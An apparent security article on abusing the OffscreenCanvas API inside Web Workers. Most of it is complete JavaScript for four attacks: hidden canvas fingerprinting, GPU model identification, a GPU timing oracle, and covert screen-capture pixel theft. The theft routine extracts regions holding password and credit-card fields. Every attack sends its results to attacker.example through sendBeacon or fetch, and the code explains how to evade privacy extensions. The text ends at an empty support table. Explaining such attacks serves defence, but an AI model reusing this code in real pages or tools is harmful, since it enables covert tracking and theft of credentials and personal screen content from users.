MCP Server Security · Browser APIs · OffscreenCanvas / Canvas API
MCP server OffscreenCanvas security — invisible canvas fingerprinting, GPU renderer identification, timing oracle, and pixel data theft
The OffscreenCanvas API moves canvas rendering entirely off the main thread and out of the DOM, into a Web Worker. A Worker-side OffscreenCanvas produces the same pixel output as a DOM <canvas> element but leaves zero DOM footprint: no element appears in document.querySelectorAll('canvas'), no MutationObserver fires, and no browser extension that watches canvas creation can detect it. MCP tools exploit this to perform invisible canvas fingerprinting, read the highest-entropy browser identifier available (GPU renderer strings via WEBGL_debug_renderer_info), measure GPU timing as a covert fingerprint channel, and process raw pixels from screen-capture frames — all without any additional permissions beyond what the MCP tool was already granted.
How the OffscreenCanvas API works and where the attack surface lives
| API / method | What it exposes | Attack relevance |
|---|---|---|
new OffscreenCanvas(w, h) | Creates a canvas entirely within a Worker (or main thread) with no corresponding DOM element. Supports 2D, WebGL, WebGL2, and WebGPU rendering contexts. | Canvas fingerprinting, GPU info extraction, and pixel processing can all be performed inside a Worker with zero DOM footprint. No extension or MutationObserver can detect the canvas. |
getContext('2d') | Returns an OffscreenCanvasRenderingContext2D supporting the full 2D drawing API: fillText, drawImage, gradients, arcs, bezier curves, and getImageData. | The classic canvas fingerprint (text rendering with emoji and special characters, gradients, arcs) produces a per-device pixel hash without any visible canvas in the DOM. |
getContext('webgl') / getContext('webgl2') | Returns a WebGL rendering context on an OffscreenCanvas inside a Worker. Supports all WebGL extensions including WEBGL_debug_renderer_info. | Reading UNMASKED_RENDERER_WEBGL and UNMASKED_VENDOR_WEBGL from a Worker OffscreenCanvas identifies the exact GPU model with 15+ bits of entropy, leaving no visible WebGL canvas in the page. |
transferToImageBitmap() | Transfers the current canvas frame to an ImageBitmap for zero-copy delivery to the main thread or another Worker via postMessage transferable. | Enables zero-copy pipeline: Worker renders GPU fingerprint data and transfers the bitmap back to main thread for further processing or storage without serialization cost. |
createImageBitmap(source) | Creates an ImageBitmap from a Blob, ImageData, VideoFrame, ImageBitmap, or CanvasImageSource. Available in Workers. | Accepts a VideoFrame captured from getUserMedia or getDisplayMedia. The resulting ImageBitmap can be drawn into an OffscreenCanvas and read with getImageData — bypassing tainted-canvas restrictions. |
ctx.getImageData(x, y, w, h) | Returns raw pixel data (RGBA array) from the canvas. Normally blocked on tainted canvases (cross-origin image sources). Not blocked when the source is a locally-created ImageBitmap from a same-origin MediaStreamTrack frame. | Reads raw screen pixels from display-capture frames for OCR, face detection, text extraction, and form field content — all within the scope of the original getDisplayMedia permission grant. |
WEBGL_debug_renderer_info extension | WebGL extension providing UNMASKED_RENDERER_WEBGL and UNMASKED_VENDOR_WEBGL parameters: full GPU model strings such as "NVIDIA GeForce RTX 4090/PCIe/SSE2" or "Apple M3 GPU". | Highest-entropy browser fingerprint value available: 15+ bits of entropy. Uniquely identifies the GPU hardware model, driver generation, and platform. Available via Worker OffscreenCanvas with no visible WebGL element in the page. |
Permission situation: OffscreenCanvas itself requires no permission — it is a standard JavaScript API available to any Worker. Reading pixel data via getImageData on locally-drawn content requires no permission. Reading WEBGL_debug_renderer_info requires no permission beyond a WebGL context. Attack 4 (video frame pixel theft) requires an existing getUserMedia or getDisplayMedia permission grant, but requires no additional permission beyond what was already granted to capture the stream. The OffscreenCanvas processing step itself adds no new permission requirement.
Attack 1: Invisible canvas fingerprinting in a Web Worker
The classic canvas fingerprint works by drawing a scene of text (including emoji and special Unicode characters), linear gradients, arcs, and bezier curves onto a canvas, then calling toDataURL() or getImageData() to extract pixel values. The resulting pixel hash varies by device because text rendering depends on the installed font set, the GPU's sub-pixel rendering engine, the OS font hinting configuration, and the browser's compositing pipeline. The hash is stable for a given device across sessions and is widely used as a tracking identifier. However, this attack has a traditional detection vector: a <canvas> element must exist in the DOM, which browser extensions and privacy tools can detect via MutationObserver, document.querySelectorAll('canvas'), or by overriding HTMLCanvasElement.prototype.toDataURL.
OffscreenCanvas eliminates this detection vector entirely. The fingerprinting canvas lives in a Worker thread, never touches the DOM, and uses a completely separate code path from HTMLCanvasElement — meaning prototype overrides on HTMLCanvasElement are irrelevant. The Worker posts a message to the main thread with the resulting hash; the main thread has no knowledge of what generated it.
// ---- fingerprint-worker.js (loaded via new Worker(...)) ----
// This code runs in a Web Worker. No canvas element exists in the DOM.
// No MutationObserver can see it. No extension watching HTMLCanvasElement
// creation will fire. The OffscreenCanvas API is completely separate from
// the HTMLCanvasElement prototype chain.
self.onmessage = async function(e) {
if (e.data.cmd !== 'fingerprint') return;
// Create a 400x200 OffscreenCanvas — same dimensions as classic canvas FP tests
const canvas = new OffscreenCanvas(400, 200);
const ctx = canvas.getContext('2d');
// Step 1: Text rendering with emoji and special Unicode characters.
// Font rendering differences (sub-pixel hinting, ligature handling,
// emoji color vs monochrome, kerning) produce per-device variation.
ctx.textBaseline = 'alphabetic';
ctx.fillStyle = '#f60';
ctx.fillRect(125, 1, 62, 20);
ctx.fillStyle = '#069';
ctx.font = '11pt "Arial Unicode MS", Arial, sans-serif';
// Mix of ASCII, combining characters, emoji, and CJK to maximize
// the number of font-rendering code paths exercised
ctx.fillText('SkillAudit FP: 北京 àéêëíï', 2, 15);
ctx.fillStyle = 'rgba(102, 204, 0, 0.7)';
ctx.font = '18pt Arial, sans-serif';
// Emoji rendering path: color emoji vs monochrome fallback differ by OS + GPU
ctx.fillText('\u{1F525}\u{1F4BB}\u{1F510}\u{1F9EC} Cwm fjordbank glyphs vext quiz', 4, 45);
// Step 2: Linear gradient — GPU compositing of gradient bands
const grad = ctx.createLinearGradient(0, 0, 400, 0);
grad.addColorStop(0, 'rgb(255, 0, 0)');
grad.addColorStop(0.25, 'rgb(0, 255, 0)');
grad.addColorStop(0.5, 'rgb(0, 0, 255)');
grad.addColorStop(0.75, 'rgb(255, 255, 0)');
grad.addColorStop(1, 'rgb(255, 0, 255)');
ctx.fillStyle = grad;
ctx.fillRect(0, 60, 400, 40);
// Step 3: Arc — anti-aliasing algorithm differs by GPU/driver
ctx.beginPath();
ctx.arc(200, 140, 50, 0, Math.PI * 2, true);
ctx.closePath();
ctx.fillStyle = 'rgba(0, 128, 255, 0.6)';
ctx.strokeStyle = 'rgba(255, 0, 128, 0.8)';
ctx.lineWidth = 2;
ctx.fill();
ctx.stroke();
// Step 4: Bezier curve — path rasterization varies by GPU
ctx.beginPath();
ctx.moveTo(10, 180);
ctx.bezierCurveTo(70, 100, 150, 200, 250, 150);
ctx.bezierCurveTo(320, 100, 380, 190, 390, 180);
ctx.strokeStyle = 'rgba(128, 0, 255, 0.85)';
ctx.lineWidth = 3;
ctx.stroke();
// Step 5: Read pixel data — getImageData works on OffscreenCanvas just like
// on a regular canvas, but there is no "tainted canvas" issue because we drew
// only locally-generated content.
const imageData = ctx.getImageData(0, 0, 400, 200);
const pixels = imageData.data; // Uint8ClampedArray, RGBA format
// Step 6: Hash the pixel array.
// Using a simple but fast hash (FNV-1a 32-bit) to generate the fingerprint string.
// A cryptographic hash (SHA-256 via SubtleCrypto) can also be used in a Worker.
let hash = 0x811c9dc5 >>> 0; // FNV offset basis
for (let i = 0; i < pixels.length; i += 4) {
// Sample every 4th pixel (every RGBA group) for speed — still discriminating
hash ^= pixels[i];
hash = Math.imul(hash, 0x01000193) >>> 0; // FNV prime
hash ^= pixels[i + 1];
hash = Math.imul(hash, 0x01000193) >>> 0;
hash ^= pixels[i + 2];
hash = Math.imul(hash, 0x01000193) >>> 0;
// Alpha channel skipped — usually identical
}
const fingerprintHex = ('00000000' + hash.toString(16)).slice(-8);
// Post the result back. The main thread sees only a hex string.
// No canvas element was ever created in the DOM.
self.postMessage({ cmd: 'fingerprint-result', value: fingerprintHex });
};
// ---- main thread code ----
// Spawn the Worker and request a fingerprint.
// The fingerprint runs entirely in the Worker — zero DOM side effects.
const fpWorker = new Worker(URL.createObjectURL(new Blob([
// In a real attack, the worker script would be loaded from a URL or bundled.
// Using a Blob URL here for self-contained demonstration.
document.getElementById('fp-worker-src').textContent
], { type: 'application/javascript' })));
fpWorker.onmessage = function(e) {
if (e.data.cmd === 'fingerprint-result') {
const canvasFingerprint = e.data.value;
// canvasFingerprint is now a stable per-device identifier.
// Combine with other signals (UserAgent, screen resolution, timezone)
// for a composite fingerprint with 40+ bits of total entropy.
navigator.sendBeacon('https://attacker.example/canvas-fp', JSON.stringify({
canvasFP: canvasFingerprint,
ua: navigator.userAgent,
screen: `${screen.width}x${screen.height}x${screen.colorDepth}`,
tz: Intl.DateTimeFormat().resolvedOptions().timeZone,
dpr: window.devicePixelRatio,
origin: location.origin,
ts: Date.now(),
}));
}
};
// Fire the fingerprint immediately — no user gesture required
fpWorker.postMessage({ cmd: 'fingerprint' });
Why Worker-based fingerprinting defeats existing defenses: Browser extensions that block canvas fingerprinting (e.g., CanvasBlocker, Privacy Badger's canvas noise injection) work by overriding HTMLCanvasElement.prototype.toDataURL, HTMLCanvasElement.prototype.getContext, and CanvasRenderingContext2D.prototype.getImageData in the main thread's JavaScript context. These overrides do not propagate into Worker threads, and they target HTMLCanvasElement — a completely different prototype chain from OffscreenCanvas. The OffscreenCanvas and OffscreenCanvasRenderingContext2D prototypes in a Worker are separate objects in a separate realm. Extension overrides are therefore completely bypassed. The resulting fingerprint hash is identical in entropy to a DOM canvas fingerprint.
Attack 2: GPU model identification via WebGL in OffscreenCanvas (invisible renderer fingerprint)
The WEBGL_debug_renderer_info WebGL extension exposes two parameters: UNMASKED_RENDERER_WEBGL and UNMASKED_VENDOR_WEBGL. These return the full GPU model string directly from the graphics driver — for example, "NVIDIA GeForce RTX 4090/PCIe/SSE2", "Apple M3 GPU", "Intel(R) UHD Graphics 770", or "AMD Radeon RX 7900 XTX". These strings are the highest-entropy single values available in the browser fingerprint: the GPU renderer string alone provides 15–18 bits of entropy (more than UserAgent on many populations). They are stable across browser restarts, cookie clears, VPN changes, and incognito windows.
Traditionally, reading these values required creating a visible WebGL context attached to a <canvas> element in the DOM. An OffscreenCanvas in a Worker eliminates this requirement: the WebGL context is created entirely in the Worker, never touches the DOM, and the renderer strings are read and posted back to the main thread. No visible WebGL canvas ever appears.
// ---- gpu-fingerprint-worker.js ----
// Reads GPU renderer info via WebGL on a Worker-side OffscreenCanvas.
// No visible canvas in the DOM. WEBGL_debug_renderer_info requires no permission.
// The GPU model string provides 15+ bits of identifying entropy on its own.
self.onmessage = function(e) {
if (e.data.cmd !== 'gpu-fingerprint') return;
// A 1x1 canvas is sufficient — we only need a WebGL context, not a framebuffer
const canvas = new OffscreenCanvas(1, 1);
// Try WebGL2 first (more parameters available), fall back to WebGL1
let gl = canvas.getContext('webgl2');
let glVersion = 2;
if (!gl) {
gl = canvas.getContext('webgl');
glVersion = 1;
}
if (!gl) {
// WebGL unavailable (headless browser, some server-side renderers)
self.postMessage({ cmd: 'gpu-fingerprint-result', error: 'webgl-unavailable' });
return;
}
const result = {
glVersion,
renderer: null,
vendor: null,
unmaskedRenderer: null,
unmaskedVendor: null,
parameters: {},
};
// Basic renderer info (may be generic like "WebKit WebGL" in some browsers)
result.renderer = gl.getParameter(gl.RENDERER);
result.vendor = gl.getParameter(gl.VENDOR);
// WEBGL_debug_renderer_info: the high-entropy GPU identification extension.
// Chrome, Firefox, Safari all support this. Chrome applies slight sanitization
// since Chrome 80 (removes exact driver version string on some platforms) but
// the GPU model and architecture remain fully exposed.
const debugInfo = gl.getExtension('WEBGL_debug_renderer_info');
if (debugInfo) {
// These are the money values: full GPU model strings from the driver
// Examples:
// "NVIDIA GeForce RTX 4090/PCIe/SSE2" (~18 bits)
// "Apple M3 GPU" (~15 bits)
// "Intel(R) UHD Graphics 770" (~14 bits)
// "AMD Radeon RX 7900 XTX" (~17 bits)
// "ANGLE (NVIDIA, NVIDIA GeForce RTX 4090 Direct3D11 vs_5_0 ps_5_0, D3D11)"
result.unmaskedRenderer = gl.getParameter(debugInfo.UNMASKED_RENDERER_WEBGL);
result.unmaskedVendor = gl.getParameter(debugInfo.UNMASKED_VENDOR_WEBGL);
}
// Additional WebGL parameters that add entropy bits even without WEBGL_debug_renderer_info:
// Different GPU architectures expose different capability limits.
const params = [
['MAX_TEXTURE_SIZE', gl.MAX_TEXTURE_SIZE], // 8192–32768 depending on GPU
['MAX_RENDERBUFFER_SIZE', gl.MAX_RENDERBUFFER_SIZE],
['MAX_VERTEX_ATTRIBS', gl.MAX_VERTEX_ATTRIBS], // Always 16 on modern GPUs
['MAX_VARYING_VECTORS', gl.MAX_VARYING_VECTORS],
['MAX_VERTEX_UNIFORM_VECTORS',gl.MAX_VERTEX_UNIFORM_VECTORS],// 256 vs 512 vs 1024
['MAX_FRAGMENT_UNIFORM_VECTORS', gl.MAX_FRAGMENT_UNIFORM_VECTORS],
['MAX_CUBE_MAP_TEXTURE_SIZE', gl.MAX_CUBE_MAP_TEXTURE_SIZE],
['ALIASED_LINE_WIDTH_RANGE', gl.getParameter(gl.ALIASED_LINE_WIDTH_RANGE)], // Float32Array
['ALIASED_POINT_SIZE_RANGE', gl.getParameter(gl.ALIASED_POINT_SIZE_RANGE)],
];
if (glVersion === 2) {
params.push(
['MAX_3D_TEXTURE_SIZE', gl.MAX_3D_TEXTURE_SIZE],
['MAX_DRAW_BUFFERS', gl.MAX_DRAW_BUFFERS],
['MAX_SAMPLES', gl.MAX_SAMPLES],
['MAX_COLOR_ATTACHMENTS', gl.MAX_COLOR_ATTACHMENTS],
);
}
for (const [name, constOrValue] of params) {
const val = typeof constOrValue === 'number' ? gl.getParameter(constOrValue) : constOrValue;
// Float32Arrays must be serialized for postMessage
result.parameters[name] = val instanceof Float32Array ? Array.from(val) : val;
}
// Enumerate supported extensions — the set differs by GPU vendor and driver
// (~40–80 extensions exposed; the set provides ~8 bits of additional entropy)
result.extensions = gl.getSupportedExtensions();
// Lose the context immediately to free GPU resources and avoid detection
// via performance profiling of active WebGL contexts
const loseCtx = gl.getExtension('WEBGL_lose_context');
if (loseCtx) loseCtx.loseContext();
self.postMessage({ cmd: 'gpu-fingerprint-result', data: result });
};
// ---- main thread code ----
const gpuWorker = new Worker(URL.createObjectURL(new Blob([
gpuFingerprintWorkerSrc // bundled worker source string
], { type: 'application/javascript' })));
gpuWorker.onmessage = function(e) {
if (e.data.cmd !== 'gpu-fingerprint-result') return;
const { data } = e;
// The unmaskedRenderer string alone uniquely identifies the GPU model.
// Combined with extensions list and parameter values, the total entropy
// is 18–22 bits — more than enough for cross-session re-identification
// even when the user rotates their IP and clears all storage.
navigator.sendBeacon('https://attacker.example/gpu-fp', JSON.stringify({
unmaskedRenderer: data.unmaskedRenderer,
unmaskedVendor: data.unmaskedVendor,
renderer: data.renderer,
vendor: data.vendor,
glVersion: data.glVersion,
maxTextureSize: data.parameters['MAX_TEXTURE_SIZE'],
extensions: data.extensions,
origin: location.origin,
ts: Date.now(),
}));
};
gpuWorker.postMessage({ cmd: 'gpu-fingerprint' });
Why GPU renderer strings are the highest-entropy browser fingerprint: Academic fingerprinting studies (Mowery & Shacham 2012 "Pixel Perfect"; Laperdrix et al. 2016 "Beauty and the Beast") consistently identify the WebGL renderer string as the single highest-entropy value in the browser fingerprint, surpassing UserAgent, screen resolution, and installed fonts individually. On populations where GPU diversity is high (enterprise desktops, gaming setups), the renderer string alone is sufficient for unique identification. The OffscreenCanvas vector means this value can be extracted in a Worker with zero DOM side effects, defeating all existing DOM-level WebGL detection defenses.
Attack 3: GPU timing oracle via OffscreenCanvas render workload
Even when WEBGL_debug_renderer_info is blocked — as it is in Firefox's "Resist Fingerprinting" mode — the GPU's render throughput remains measurable. A calibrated GPU workload (many draw calls, large texture operations, complex compositing) takes a measurably different amount of time on different GPU models: an integrated Intel UHD GPU processes a 100-iteration compositing loop roughly 5–10x slower than a discrete NVIDIA RTX GPU. The timing measurement is stable for a given GPU model (±5% variance), distinctive across GPU families (2–10x variation), and sensitive to current GPU load (a background task using the GPU increases measured time).
This creates two covert channels: (a) GPU fingerprinting as an alternative to WEBGL_debug_renderer_info when the extension is blocked, and (b) detection of other GPU-using processes running concurrently on the same machine — for example, detecting that the user is running a video game or 3D rendering application by measuring increased GPU contention. The timing workload runs in a Worker on an OffscreenCanvas, making it invisible to the main thread's performance observer infrastructure.
// ---- gpu-timing-worker.js ----
// Measures GPU render throughput via a calibrated OffscreenCanvas workload.
// Runs in a Worker — invisible to main thread performance observers.
// Does not require WEBGL_debug_renderer_info or any extension.
// Works with plain 2D context — no WebGL required.
self.onmessage = async function(e) {
if (e.data.cmd !== 'gpu-timing') return;
// Create a 1024x1024 OffscreenCanvas — large enough to stress the GPU
// but not so large as to be obviously anomalous in memory profiling
const canvas = new OffscreenCanvas(1024, 1024);
const ctx = canvas.getContext('2d');
// --- Phase 1: Warmup pass ---
// GPU drivers apply lazy initialization; warming up ensures the first
// measurement pass uses a fully initialized GPU pipeline.
for (let i = 0; i < 10; i++) {
ctx.clearRect(0, 0, 1024, 1024);
ctx.fillStyle = `rgb(${i * 25},${i * 10},128)`;
ctx.fillRect(0, 0, 1024, 1024);
}
// Create a large ImageBitmap source to use in drawImage calls.
// drawImage with a large ImageBitmap exercises the GPU's texture
// sampling and compositing pipeline — the bottleneck that varies most
// across GPU generations.
const sourceBitmap = await createImageBitmap(canvas);
// --- Phase 2: Calibrated measurement workload ---
// The workload: 100 iterations, each doing:
// - clearRect (framebuffer clear)
// - 4 gradient fills covering the full canvas (gradient computation)
// - 1 drawImage of the 1024x1024 bitmap (texture sampling)
// - 2 arc fills with transparency (alpha compositing)
// This stresses rasterization, compositing, and texture sampling — the
// operations that vary most in throughput across GPU models.
const ITERATIONS = 100;
const t0 = performance.now();
for (let iter = 0; iter < ITERATIONS; iter++) {
// Framebuffer clear
ctx.clearRect(0, 0, 1024, 1024);
// Gradient fill 1: horizontal
const g1 = ctx.createLinearGradient(0, 0, 1024, 0);
g1.addColorStop(0, `hsl(${iter * 3.6}, 80%, 50%)`);
g1.addColorStop(0.5, `hsl(${iter * 3.6 + 120}, 80%, 50%)`);
g1.addColorStop(1, `hsl(${iter * 3.6 + 240}, 80%, 50%)`);
ctx.fillStyle = g1;
ctx.fillRect(0, 0, 1024, 512);
// Gradient fill 2: radial
const g2 = ctx.createRadialGradient(512, 512, 0, 512, 512, 600);
g2.addColorStop(0, `rgba(255, ${iter % 256}, 0, 0.8)`);
g2.addColorStop(1, `rgba(0, 0, ${iter % 256}, 0.3)`);
ctx.fillStyle = g2;
ctx.fillRect(0, 512, 1024, 512);
// Gradient fill 3: diagonal
const g3 = ctx.createLinearGradient(0, 0, 1024, 1024);
g3.addColorStop(0, `rgba(0, 255, 128, 0.6)`);
g3.addColorStop(0.5, `rgba(128, 0, 255, 0.6)`);
g3.addColorStop(1, `rgba(255, 128, 0, 0.6)`);
ctx.fillStyle = g3;
ctx.fillRect(0, 0, 1024, 1024);
// Large texture compositing — taxes the GPU's texture unit
ctx.globalAlpha = 0.5;
ctx.drawImage(sourceBitmap, 0, 0, 1024, 1024);
ctx.globalAlpha = 1.0;
// Alpha-composited arcs — exercises blending and AA pipeline
ctx.fillStyle = `rgba(${(iter * 37) % 256}, ${(iter * 53) % 256}, ${(iter * 71) % 256}, 0.4)`;
ctx.beginPath();
ctx.arc(512, 512, 400 - (iter % 50), 0, Math.PI * 2);
ctx.fill();
ctx.fillStyle = `rgba(${(iter * 97) % 256}, ${(iter * 113) % 256}, ${(iter * 131) % 256}, 0.3)`;
ctx.beginPath();
ctx.arc(256, 256, 200, 0, Math.PI * 1.5);
ctx.fill();
}
// transferToImageBitmap() forces the GPU to flush the rendering pipeline
// (all pending draw calls are committed before the function returns).
// This is important: canvas 2D operations may be batched by the browser;
// transferToImageBitmap ensures we are measuring actual GPU completion time.
const finalBitmap = canvas.transferToImageBitmap();
finalBitmap.close(); // Immediately release GPU memory
const t1 = performance.now();
const elapsedMs = t1 - t0;
// --- Phase 3: Characterize the timing result ---
// Reference timings measured on common GPU classes (approximate):
// < 80ms: High-end discrete GPU (RTX 4080+, RX 7900 XT)
// 80–200ms: Mid-range discrete GPU (RTX 3060, RX 6600)
// 200–500ms: Integrated GPU (Intel UHD 770, Apple M-series GPU, AMD Vega)
// > 500ms: Software renderer / virtual machine GPU / very old hardware
//
// Variance across runs on the same GPU: ±5–10ms (±5%).
// Variance due to concurrent GPU load: +20–200ms (detects GPU-heavy background apps).
// Run a second pass immediately to detect GPU contention from background processes
const t2 = performance.now();
const canvas2 = new OffscreenCanvas(512, 512);
const ctx2 = canvas2.getContext('2d');
for (let i = 0; i < 50; i++) {
ctx2.clearRect(0, 0, 512, 512);
const g = ctx2.createRadialGradient(256, 256, 0, 256, 256, 300);
g.addColorStop(0, `rgba(255,0,0,0.5)`);
g.addColorStop(1, `rgba(0,0,255,0.5)`);
ctx2.fillStyle = g;
ctx2.fillRect(0, 0, 512, 512);
}
const bitmap2 = canvas2.transferToImageBitmap();
bitmap2.close();
const t3 = performance.now();
const secondPassMs = t3 - t2;
self.postMessage({
cmd: 'gpu-timing-result',
primaryMs: elapsedMs,
secondaryMs: secondPassMs,
// Ratio > 1.3 between secondary and primary suggests GPU contention (another
// GPU-heavy process is running — game, renderer, ML inference, video encode)
contentionRatio: secondPassMs / (elapsedMs / 2),
iterations: ITERATIONS,
});
};
// ---- main thread code ----
const timingWorker = new Worker(timingWorkerBlobUrl);
timingWorker.onmessage = function(e) {
if (e.data.cmd !== 'gpu-timing-result') return;
const { primaryMs, secondaryMs, contentionRatio } = e.data;
// GPU tier classification based on primary timing
let gpuTier;
if (primaryMs < 80) gpuTier = 'high-end-discrete';
else if (primaryMs < 200) gpuTier = 'mid-range-discrete';
else if (primaryMs < 500) gpuTier = 'integrated';
else gpuTier = 'software-or-vm';
// Contention detection: ratio significantly > 1 means another GPU workload
// is competing during the second pass (started after first pass completed)
const gpuContentionDetected = contentionRatio > 1.25;
navigator.sendBeacon('https://attacker.example/gpu-timing', JSON.stringify({
primaryMs,
secondaryMs,
gpuTier,
gpuContentionDetected,
contentionRatio,
origin: location.origin,
ts: Date.now(),
}));
};
Timing as a GPU fingerprint fallback: Firefox with privacy.resistFingerprinting = true blocks WEBGL_debug_renderer_info entirely. However, it does not prevent OffscreenCanvas rendering or throttle GPU throughput measurements. An MCP tool that detects the WEBGL_debug_renderer_info extension is unavailable can fall back to the timing oracle. While the timing method has lower precision (it identifies GPU class and architecture rather than the exact model), it still provides 4–6 bits of entropy — enough to narrow a population by a factor of 16–64 and to detect GPU-heavy background applications as a covert channel.
Attack 4: ImageBitmap from cross-origin canvas for pixel data theft
The "tainted canvas" mechanism prevents getImageData() on a canvas that has had any cross-origin image drawn into it (via drawImage with a cross-origin <img>). This protection does not apply to ImageBitmap objects created from MediaStreamTrack frames: because the track was captured by the page via getUserMedia or getDisplayMedia, it is considered same-origin to the capturing context. An MCP tool that has (or obtains) a getDisplayMedia stream can draw individual frames into an OffscreenCanvas Worker and read raw pixel data with getImageData — without any additional permission beyond the initial screen-capture grant.
The Worker-based processing pipeline enables parallel frame analysis: while the main thread displays a "live preview" to the user (a visible <canvas> showing the captured screen), a Worker silently processes each frame's raw pixels for OCR, face detection, text field content extraction, or full-resolution frame archiving — all invisible to the user's view of the application.
// ---- pixel-theft-worker.js ----
// Processes raw video frames from a getDisplayMedia or getUserMedia stream
// in a Worker using OffscreenCanvas + getImageData.
// No tainted-canvas restriction applies: the source is a same-origin MediaStreamTrack frame.
// Runs in parallel with the visible main-thread preview — user sees a "normal" preview
// while the Worker silently extracts pixel content.
self.onmessage = async function(e) {
if (e.data.cmd === 'process-frame') {
const { imageBitmap } = e.data; // Transferred from main thread (zero-copy)
const w = imageBitmap.width;
const h = imageBitmap.height;
// Create an OffscreenCanvas matching the frame dimensions
const canvas = new OffscreenCanvas(w, h);
const ctx = canvas.getContext('2d');
// Draw the frame into the OffscreenCanvas
ctx.drawImage(imageBitmap, 0, 0);
// Release the ImageBitmap to free GPU memory immediately
imageBitmap.close();
// Read raw RGBA pixel data — no tainted-canvas exception because the
// ImageBitmap came from a MediaStreamTrack (same-origin media capture),
// not from a cross-origin URL loaded with drawImage.
const imageData = ctx.getImageData(0, 0, w, h);
const pixels = imageData.data; // Uint8ClampedArray
// --- Pixel Analysis 1: Simple OCR preprocessing ---
// Convert to grayscale and detect high-contrast text regions.
// This is sufficient for extracting form field content, passwords visible on screen,
// document text, and chat messages without running a full ML model.
const grayPixels = new Uint8Array(w * h);
for (let i = 0; i < pixels.length; i += 4) {
// Luma formula: 0.299R + 0.587G + 0.114B
grayPixels[i / 4] = (pixels[i] * 0.299 + pixels[i+1] * 0.587 + pixels[i+2] * 0.114) | 0;
}
// Detect likely text regions: high local variance (dark text on light background)
// Scan in 16x16 blocks for efficiency
const textRegions = [];
for (let blockY = 0; blockY < h; blockY += 16) {
for (let blockX = 0; blockX < w; blockX += 16) {
let sum = 0, sumSq = 0, count = 0;
for (let dy = 0; dy < 16 && blockY + dy < h; dy++) {
for (let dx = 0; dx < 16 && blockX + dx < w; dx++) {
const px = grayPixels[(blockY + dy) * w + (blockX + dx)];
sum += px;
sumSq += px * px;
count++;
}
}
const mean = sum / count;
const variance = (sumSq / count) - (mean * mean);
// High variance (>800) = likely text region (high contrast characters)
if (variance > 800) {
textRegions.push({ x: blockX, y: blockY, variance });
}
}
}
// --- Pixel Analysis 2: Face region detection (skin color heuristic) ---
// Detects likely face regions by skin-tone HSL heuristic.
// Provides location of users visible on screen (for getDisplayMedia of a video call).
const faceRegions = [];
for (let blockY = 0; blockY < h; blockY += 32) {
for (let blockX = 0; blockX < w; blockX += 32) {
let skinPixels = 0, totalPixels = 0;
for (let dy = 0; dy < 32 && blockY + dy < h; dy++) {
for (let dx = 0; dx < 32 && blockX + dx < w; dx++) {
const idx = ((blockY + dy) * w + (blockX + dx)) * 4;
const r = pixels[idx], g = pixels[idx+1], b = pixels[idx+2];
// Skin color heuristic: works across a range of skin tones
const isSkin = (r > 95 && g > 40 && b > 20 &&
Math.max(r, g, b) - Math.min(r, g, b) > 15 &&
Math.abs(r - g) > 15 && r > g && r > b);
if (isSkin) skinPixels++;
totalPixels++;
}
}
const skinFraction = skinPixels / totalPixels;
if (skinFraction > 0.35) {
faceRegions.push({ x: blockX, y: blockY, skinFraction });
}
}
}
// --- Pixel Analysis 3: Targeted region extraction ---
// If the MCP tool knows the layout of the page being captured
// (which it often does, being embedded in that page), it can extract
// specific screen regions: password fields, bank account numbers, form inputs.
// Example: extract a known 200x30 pixel region where a password field is rendered.
const targetRegions = e.data.targetRegions ?? []; // [{x, y, w, h, label}]
const extractedRegions = targetRegions.map(region => {
const regionData = ctx.getImageData(region.x, region.y, region.w, region.h);
return {
label: region.label,
pixels: Array.from(regionData.data), // Will be serialized for postMessage
width: region.w,
height: region.h,
};
});
self.postMessage({
cmd: 'frame-analysis-result',
frameWidth: w,
frameHeight: h,
textRegionCount: textRegions.length,
textRegions: textRegions.slice(0, 50), // Top 50 text regions
faceRegions: faceRegions.slice(0, 20),
extractedRegions, // Raw pixel data for targeted regions
ts: Date.now(),
});
}
};
// ---- main thread code ----
// Requires a prior getDisplayMedia or getUserMedia permission grant.
// The OffscreenCanvas pixel processing adds no additional permission requirement.
async function startCovertPixelCapture() {
// 1. Obtain a screen-capture stream (requires user to click "Share Screen")
const stream = await navigator.mediaDevices.getDisplayMedia({
video: { frameRate: 5 }, // 5 fps — low enough to avoid performance impact
audio: false,
});
const track = stream.getVideoTracks()[0];
// 2. Start the pixel-processing Worker
const worker = new Worker(pixelTheftWorkerBlobUrl);
worker.onmessage = function(e) {
if (e.data.cmd !== 'frame-analysis-result') return;
// Exfiltrate analysis results
navigator.sendBeacon('https://attacker.example/screen-pixels', JSON.stringify({
frameSize: `${e.data.frameWidth}x${e.data.frameHeight}`,
textRegionCount: e.data.textRegionCount,
textRegions: e.data.textRegions,
faceRegions: e.data.faceRegions,
origin: location.origin,
ts: e.data.ts,
}));
// Extracted targeted regions are larger; POST them separately
if (e.data.extractedRegions.length > 0) {
fetch('https://attacker.example/screen-regions', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(e.data.extractedRegions),
keepalive: true,
});
}
};
// 3. Use ImageCapture to grab individual frames
const imageCapture = new ImageCapture(track);
// Process one frame every 200ms (5 fps)
async function captureFrame() {
try {
// grabFrame() returns a VideoFrame (or ImageBitmap depending on browser)
const bitmap = await imageCapture.grabFrame();
// Transfer to Worker zero-copy (the bitmap is transferred, not copied)
worker.postMessage({
cmd: 'process-frame',
imageBitmap: bitmap,
// Specify regions to extract: known location of password field in the page
targetRegions: [
{ x: 200, y: 150, w: 300, h: 30, label: 'password-field' },
{ x: 200, y: 200, w: 300, h: 30, label: 'credit-card-number' },
],
}, [bitmap]); // Transfer ownership — zero-copy
} catch (err) {
// Track may have ended (user stopped sharing)
if (err.name === 'InvalidStateError') {
clearInterval(captureInterval);
worker.terminate();
}
}
}
const captureInterval = setInterval(captureFrame, 200);
// Clean up when the user stops sharing
track.addEventListener('ended', () => {
clearInterval(captureInterval);
worker.terminate();
});
}
// Call startCovertPixelCapture() after the MCP tool has legitimately
// obtained getDisplayMedia permission for an announced purpose
// (e.g., "screenshot for support", "screen share for collaboration").
Why this bypasses tainted-canvas protections: The browser's tainted-canvas mechanism is triggered when a cross-origin resource (an <img> from a different origin, an SVG with external references) is drawn into a canvas. A VideoFrame or ImageBitmap obtained from ImageCapture.grabFrame() on a getUserMedia or getDisplayMedia stream is not a cross-origin resource — it is a media frame originating from the browser's own capture pipeline, considered same-origin to the capturing document. The getImageData() call therefore succeeds with no security exception. The entire pixel-processing pipeline in the Worker is invisible to the main thread, to the user, and to any UI that shows "active capture" indicators.
Browser support
| Browser / Platform | OffscreenCanvas in Workers | WebGL in OffscreenCanvas | Notes |
|---|---|---|---|
